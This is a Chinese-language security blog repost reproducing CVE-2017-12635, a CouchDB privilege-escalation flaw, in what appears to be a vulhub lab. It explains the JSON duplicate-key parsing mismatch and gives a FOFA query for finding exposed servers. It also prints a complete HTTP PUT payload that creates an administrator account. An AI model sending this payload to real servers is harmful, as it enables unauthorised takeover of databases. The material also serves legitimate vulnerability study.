-CVE-2017-12635 CouchDB垂直越权漏洞

本文转载于公众号:融云攻防实验室,原文地址:

漏洞复现-CVE-2017-12635 CouchDB垂直越权漏洞

0x01 阅读须知

资源来源于网络,安全小天地只是再次进行分享,使用请遵循本站的免责申明

0x02 漏洞描述

 Apache CouchDB是一个开源数据库,专注于易用性和成为”完全拥抱web的数据库”。它是一个使用JSON作为存储格式,JavaScript作为查询语言,MapReduce和HTTP作为API的NoSQL数据库。应用广泛,如BBC用在其动态内容展示平台,Credit Suisse用在其内部的商品部门的市场框架,Meebo,用在其社交平台(web和应用程序)。CVE-2017-12635是由于Erlang和JavaScript对JSON解析方式的不同,导致语句执行产生差异性导致的。这个漏洞可以让任意用户创建管理员,属于垂直权限绕过漏洞。

图片[1]--CVE-2017-12635 CouchDB垂直越权漏洞-安全小天地

0x03 漏洞复现

漏洞影响:小于1.7.0、小于2.1.1

FOFA:“CouchDB”

漏洞成因简述:由于javascriptJSON解析方式只会存储第二个值,如下:

JSON.parse(\"{\"a\":\"1\", \"a\": \"2\"}\")
{a: \"2\"}

当传入:

\"roles\": [\"_admin\"],
\"roles\":[],

javascript会解析成:\"roles\":[]

那就意味着JavaScript在检测时,检测我们创建的用户角色=0。无角色,也就不存在权限,所以没有危害,系统判定为安全,绕过了检测。而在CouchDB的Erlang部分实现身份验证和授权时,jiffy实现的时候,getter函数只返回第一个值也就是”roles”: [“_admin”],所以创建出了具有admin权限的账户。

1.创建vulhub角色,显示只有admin才有权限创建


PUT /_users/org.couchdb.user:vulhub HTTP/1.1
Host: x.x.x.x:5984
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 84

{
\"type\": \"user\",
\"name\": \"vulhub\",
\"roles\": [\"_admin\"],
\"password\": \"vulhub\"
}
图片[2]--CVE-2017-12635 CouchDB垂直越权漏洞-安全小天地

2.多构造一个”roles”:[],成功绕过权限,并创建了vulhub的用户

PUT /_users/org.couchdb.user:vulhub HTTP/1.1
Host: x.x.x.x:5984
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 97

{
\"type\": \"user\",
\"name\": \"vulhub\",
\"roles\": [\"_admin\"],
\"roles\":[],
\"password\": \"vulhub\"
}
图片[3]--CVE-2017-12635 CouchDB垂直越权漏洞-安全小天地

3.成功登录http://x.x.x.x:5984/_utils/#login 账号vulhub 密码vulhub

图片[4]--CVE-2017-12635 CouchDB垂直越权漏洞-安全小天地
(注:要在正规授权情况下测试网站:日站不规范,亲人泪两行)
------本文已结束,感谢您的阅读------
THE END
喜欢就支持一下吧
点赞8 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容